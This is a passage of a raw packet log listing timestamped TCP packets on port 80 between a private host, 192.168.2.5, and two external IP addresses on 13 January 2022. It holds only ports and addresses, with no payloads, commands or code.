Jan 13, 2022 20:51:33.999581099 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999603033 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999617100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999629021 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999654055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999661922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999692917 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999696970 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999728918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999764919 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999766111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999780893 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999804020 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999809980 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999840975 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999855042 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999876976 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999882936 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999912977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999923944 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999950886 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999962091 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.999989033 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.999999046 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000024080 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000052929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000077009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000089884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000119925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000128031 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000155926 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000166893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000178099 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000202894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000216007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000240088 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000251055 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000277996 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000288963 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000313997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000324965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000350952 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000355005 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000389099 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000403881 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000427008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000442028 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000466108 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000477076 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000503063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000524044 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000539064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000551939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000576019 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000587940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000611067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000631094 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000648022 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000654936 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000685930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000699997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000725985 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000730038 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000765085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000773907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000798941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000811100 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000835896 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000844955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000871897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000881910 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000905991 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000916958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000942945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000953913 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.000979900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.000989914 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001017094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001028061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001054049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001065016 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001087904 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001100063 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001126051 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001132011 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001162052 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001174927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001199961 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001207113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001239061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001241922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001276970 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001287937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001315117 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001327991 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001354933 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001358986 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001389027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001400948 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001425982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001440048 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001471043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001471996 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001507044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001519918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001543045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001554012 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001581907 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001594067 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001621962 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.001633883 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.001666069 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.020689964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.020730019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.020762920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.020795107 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.020817041 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.020828009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.020863056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.020863056 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.020884991 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.020896912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.020927906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.020953894 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.021327019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.021363020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.021394014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.021394014 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.021426916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.021452904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.022000074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.022037029 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.022069931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.022089005 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.022102118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.022124052 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.022231102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.022264957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.022295952 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.025497913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.025542974 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.025585890 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.025629044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.025634050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.025684118 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.025943041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.026015043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.032696009 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.032748938 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.032793045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.032836914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.032862902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.032881975 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.032903910 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.032911062 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.032917976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.032929897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.032951117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.032975912 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.032999992 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033021927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033041000 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033068895 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033088923 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033132076 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033138990 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033186913 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033205032 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033243895 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033269882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033298969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033324003 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033355951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033381939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033421993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033451080 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033488035 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033515930 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033541918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033560038 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033595085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033612013 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033648968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033667088 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033704042 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033727884 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033757925 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033787966 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033818007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033849955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033902884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033926010 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.033960104 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.033978939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034010887 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034025908 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034074068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034087896 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034126997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034137964 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034181118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034193039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034235954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034254074 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034288883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034301043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034348965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034358025 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034401894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034415007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034456968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034473896 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034509897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034528017 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034564018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034580946 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034617901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034634113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034671068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034682989 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034723997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034735918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034778118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034795046 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034832001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034843922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034885883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034898043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034940004 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.034955978 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.034992933 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035011053 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035047054 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035056114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035101891 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035110950 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035152912 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035167933 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035207033 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035216093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035259008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035276890 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035310030 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035326958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035362005 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035378933 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035414934 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035438061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035471916 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035490036 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035526991 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035542965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035581112 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035599947 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035643101 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035651922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035696983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035717010 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035751104 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035768032 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035804033 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035820007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035856009 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035875082 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035907030 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035923958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.035960913 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.035978079 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036010981 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036026955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036063910 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036083937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036117077 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036135912 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036168098 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036185026 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036222935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036242008 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036283970 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036324024 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036341906 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036350012 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036405087 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036417007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036467075 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036497116 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036521912 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036541939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036575079 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036596060 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036628008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036648989 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036681890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036698103 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036735058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036756992 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036788940 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036807060 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036843061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036860943 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036895037 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036911964 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.036947012 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.036964893 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037009954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037015915 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037060976 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037077904 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037113905 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037127972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037168026 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037184000 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037220001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037239075 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037273884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037291050 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037324905 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037341118 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037377119 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037389040 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037431002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037441969 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037482977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037503958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037535906 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037558079 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037589073 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037606001 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037642956 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037655115 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037698030 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037714958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037748098 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037765026 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037801981 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037813902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037868977 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.037878990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037935972 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.037944078 CET	49847	80	192.168.2.5	141.8.194.74
